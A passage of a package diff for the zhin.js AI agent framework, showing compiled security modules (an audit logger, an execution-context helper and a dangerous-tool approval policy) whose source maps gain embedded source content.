allowed: boolean, reason?: string): void {\n this.log({\n type: 'file.access',\n severity: allowed ? 'info' : 'warn',\n filePath,\n message: allowed ? `文件访问允许: ${filePath}` : `文件访问被拒绝: ${reason}`,\n blocked: !allowed,\n blockReason: reason,\n });\n }\n\n /**\n * 记录安全违规\n */\n logSecurityViolation(type: string, message: string, details?: Record<string, unknown>): void {\n this.log({\n type: 'security.violation',\n severity: 'error',\n message: `安全违规 [${type}]: ${message}`,\n blocked: true,\n details,\n });\n }\n\n /**\n * 记录 Owner 确认\n */\n logOwnerConfirm(toolName: string, approved: boolean, message?: string): void {\n this.log({\n type: 'owner.confirm',\n severity: 'info',\n toolName,\n message: `Owner ${approved ? '批准' : '拒绝'} 工具 ${toolName}`,\n details: { approved, message },\n });\n }\n\n /**\n * 记录速率限制\n */\n logRateLimit(userId: string, limit: number, current: number): void {\n this.log({\n type: 'rate.limit',\n severity: 'warn',\n userId,\n message: `用户 ${userId} 触发速率限制: ${current}/${limit}`,\n blocked: true,\n details: { limit, current },\n });\n }\n\n /**\n * 记录会话开始\n */\n logSessionStart(sessionId: string, userId?: string, endpointKey?: string, platform?: string): void {\n this.log({\n type: 'session.start',\n severity: 'info',\n sessionId,\n userId,\n endpointKey,\n platform,\n message: `会话开始: ${sessionId}`,\n });\n }\n\n /**\n * 记录会话结束\n */\n logSessionEnd(sessionId: string, duration: number, toolCount: number): void {\n this.log({\n type: 'session.end',\n severity: 'info',\n sessionId,\n message: `会话结束: ${sessionId} (${duration}ms, ${toolCount} 个工具调用)`,\n details: { duration, toolCount },\n });\n }\n\n /**\n * 获取当前会话的审计事件\n */\n getSessionEvents(): AuditEvent[] {\n return [...this.sessionEvents];\n }\n\n /**\n * 获取配置\n */\n getConfig(): AuditLoggerConfig {\n return { ...this.config };\n }\n\n /**\n * 获取审计统计\n */\n getStats(): {\n totalEvents: number;\n sessionEvents: number;\n blockedEvents: number;\n droppedEvents: number;\n byType: Record<AuditEventType, number>;\n bySeverity: Record<AuditEventSeverity, number>;\n } {\n const byType = {} as Record<AuditEventType, number>;\n const bySeverity = {} as Record<AuditEventSeverity, number>;\n for (const t of ['tool.execute', 'tool.denied', 'tool.approval', 'exec.policy', 'file.access', 'security.violation', 'owner.confirm', 'rate.limit', 'session.start', 'session.end'] as AuditEventType[]) {\n byType[t] = 0;\n }\n for (const s of ['info', 'warn', 'error', 'critical'] as AuditEventSeverity[]) {\n bySeverity[s] = 0;\n }\n let blockedEvents = 0;\n\n for (const event of this.sessionEvents) {\n byType[event.type] = (byType[event.type] || 0) + 1;\n bySeverity[event.severity] = (bySeverity[event.severity] || 0) + 1;\n if (event.blocked) blockedEvents++;\n }\n\n return {\n totalEvents: this.eventCount,\n sessionEvents: this.sessionEvents.length,\n blockedEvents,\n droppedEvents: this.droppedCount,\n byType,\n bySeverity,\n };\n }\n\n /**\n * 清理会话事件\n */\n clearSessionEvents(): void {\n this.sessionEvents = [];\n }\n\n /**\n * 关闭日志流:先泄放队列,再等待 'finish'(或 error)确保全部落盘。\n */\n async close(): Promise<void> {\n const stream = this.logStream;\n if (!stream) return;\n this.logStream = null;\n this.paused = false;\n\n // 泄放背压队列中剩余事件\n while (this.pendingLines.length > 0) {\n try {\n stream.write(this.pendingLines.shift()!);\n } catch {\n // 流已损坏,丢弃剩余队列\n this.pendingLines.length = 0;\n break;\n }\n }\n\n await new Promise<void>((resolve) => {\n const done = () => resolve();\n stream.once('error', done);\n try {\n stream.end(done);\n } catch {\n done();\n }\n });\n }\n}\n"]}
@@ -21,4 +21,3 @@ export declare function runWithCommMessage<T>(commMessage: Message | undefined,
21
21
  /** 子 Agent / Deferred Worker:在独立执行上下文中运行 bash(审批策略由 execApprovalMode 决定) */
22
22
  export declare function runWithDirectAgentExecution<T>(commMessage: Message | undefined, fn: () => T): T;
23
23
  export declare function runWithDirectAgentExecution<T>(commMessage: Message | undefined, fn: () => Promise<T>): Promise<T>;
24
- //# sourceMappingURL=comm-message-context.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"comm-message-context.js","sourceRoot":"","sources":["../../src/security/comm-message-context.ts"],"names":[],"mappings":"AAAA;;;GAGG;AACH,OAAO,EAAE,iBAAiB,EAAE,MAAM,kBAAkB,CAAC;AAcrD,MAAM,GAAG,GAAG,IAAI,iBAAiB,EAAyC,CAAC;AAE3E,MAAM,UAAU,qBAAqB;IACnC,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,WAAW,CAAC;AACrC,CAAC;AAED,MAAM,UAAU,sBAAsB;IACpC,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,eAAe,KAAK,IAAI,CAAC;AAClD,CAAC;AAED,MAAM,UAAU,8BAA8B;IAC5C,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,cAAc,CAAC;AACxC,CAAC;AAiBD,MAAM,UAAU,kBAAkB,CAChC,WAAgC,EAChC,EAAwB,EACxB,OAAmC;IAEnC,MAAM,MAAM,GAAG,GAAG,CAAC,QAAQ,EAAE,CAAC;IAC9B,OAAO,GAAG,CAAC,GAAG,CAAC;QACb,WAAW;QACX,eAAe,EAAE,OAAO,EAAE,eAAe;QACzC,cAAc,EAAE,OAAO,EAAE,cAAc,IAAI,MAAM,EAAE,cAAc;KAClE,EAAE,EAAE,CAAC,CAAC;AACT,CAAC;AAKD,MAAM,UAAU,2BAA2B,CACzC,WAAgC,EAChC,EAAwB;IAExB,OAAO,kBAAkB,CAAC,WAAW,EAAE,EAAE,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,CAAC,CAAC;AACxE,CAAC"}
1
+ {"version":3,"file":"comm-message-context.js","sourceRoot":"","sources":["../../src/security/comm-message-context.ts"],"names":[],"mappings":"AAAA;;;GAGG;AACH,OAAO,EAAE,iBAAiB,EAAE,MAAM,kBAAkB,CAAC;AAcrD,MAAM,GAAG,GAAG,IAAI,iBAAiB,EAAyC,CAAC;AAE3E,MAAM,UAAU,qBAAqB;IACnC,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,WAAW,CAAC;AACrC,CAAC;AAED,MAAM,UAAU,sBAAsB;IACpC,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,eAAe,KAAK,IAAI,CAAC;AAClD,CAAC;AAED,MAAM,UAAU,8BAA8B;IAC5C,OAAO,GAAG,CAAC,QAAQ,EAAE,EAAE,cAAc,CAAC;AACxC,CAAC;AAiBD,MAAM,UAAU,kBAAkB,CAChC,WAAgC,EAChC,EAAwB,EACxB,OAAmC;IAEnC,MAAM,MAAM,GAAG,GAAG,CAAC,QAAQ,EAAE,CAAC;IAC9B,OAAO,GAAG,CAAC,GAAG,CAAC;QACb,WAAW;QACX,eAAe,EAAE,OAAO,EAAE,eAAe;QACzC,cAAc,EAAE,OAAO,EAAE,cAAc,IAAI,MAAM,EAAE,cAAc;KAClE,EAAE,EAAE,CAAC,CAAC;AACT,CAAC;AAKD,MAAM,UAAU,2BAA2B,CACzC,WAAgC,EAChC,EAAwB;IAExB,OAAO,kBAAkB,CAAC,WAAW,EAAE,EAAE,EAAE,EAAE,eAAe,EAAE,IAAI,EAAE,CAAC,CAAC;AACxE,CAAC","sourcesContent":["/**\n * 在 @zhin.js/ai Agent 执行工具期间挂载当前 Message 通讯上下文,\n * 供 {@link checkExecPolicy} 等无法从 `tool.execute(args)` 拿到上下文的模块读取(如 icqq bash 放行规则)。\n */\nimport { AsyncLocalStorage } from 'node:async_hooks';\nimport type { Message } from '@zhin.js/core';\nimport type { OwnerApprovalRuntime } from './owner-approval-runtime.js';\n\nexport interface CommMessageExecutionScope {\n commMessage?: Message;\n /**\n * Worker / 异步子 Agent 的执行上下文标记。\n * 该标记本身不再决定审批行为;审批由各路径的 execApprovalMode 控制。\n */\n directExecution?: boolean;\n ownerApprovals?: OwnerApprovalRuntime;\n}\n\nconst als = new AsyncLocalStorage<CommMessageExecutionScope | undefined>();\n\nexport function getCurrentCommMessage(): Message | undefined {\n return als.getStore()?.commMessage;\n}\n\nexport function isDirectAgentExecution(): boolean {\n return als.getStore()?.directExecution === true;\n}\n\nexport function getCurrentOwnerApprovalRuntime(): OwnerApprovalRuntime | undefined {\n return als.getStore()?.ownerApprovals;\n}\n\nexport interface RunWithCommMessageOptions {\n directExecution?: boolean;\n ownerApprovals?: OwnerApprovalRuntime;\n}\n\nexport function runWithCommMessage<T>(\n commMessage: Message | undefined,\n fn: () => T,\n options?: RunWithCommMessageOptions,\n): T;\nexport function runWithCommMessage<T>(\n commMessage: Message | undefined,\n fn: () => Promise<T>,\n options?: RunWithCommMessageOptions,\n): Promise<T>;\nexport function runWithCommMessage<T>(\n commMessage: Message | undefined,\n fn: () => T | Promise<T>,\n options?: RunWithCommMessageOptions,\n): T | Promise<T> {\n const parent = als.getStore();\n return als.run({\n commMessage,\n directExecution: options?.directExecution,\n ownerApprovals: options?.ownerApprovals ?? parent?.ownerApprovals,\n }, fn);\n}\n\n/** 子 Agent / Deferred Worker:在独立执行上下文中运行 bash(审批策略由 execApprovalMode 决定) */\nexport function runWithDirectAgentExecution<T>(commMessage: Message | undefined, fn: () => T): T;\nexport function runWithDirectAgentExecution<T>(commMessage: Message | undefined, fn: () => Promise<T>): Promise<T>;\nexport function runWithDirectAgentExecution<T>(\n commMessage: Message | undefined,\n fn: () => T | Promise<T>,\n): T | Promise<T> {\n return runWithCommMessage(commMessage, fn, { directExecution: true });\n}\n"]}
@@ -18,4 +18,3 @@ export declare function checkDangerousToolAccess(toolName: 'write_file' | 'edit_
18
18
  export declare function toOwnerSignal(decision: DangerousToolDecision): string;
19
19
  export declare function toDenyError(decision: DangerousToolDecision): string;
20
20
  export declare function isToolAllowlistedByConfig(toolName: string, config: Required<ZhinAgentConfig>): boolean;
21
- //# sourceMappingURL=dangerous-tool-policy.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"dangerous-tool-policy.js","sourceRoot":"","sources":["../../src/security/dangerous-tool-policy.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"dangerous-tool-policy.js","sourceRoot":"","sources":["../../src/security/dangerous-tool-policy.ts"],"names":[],"mappings":"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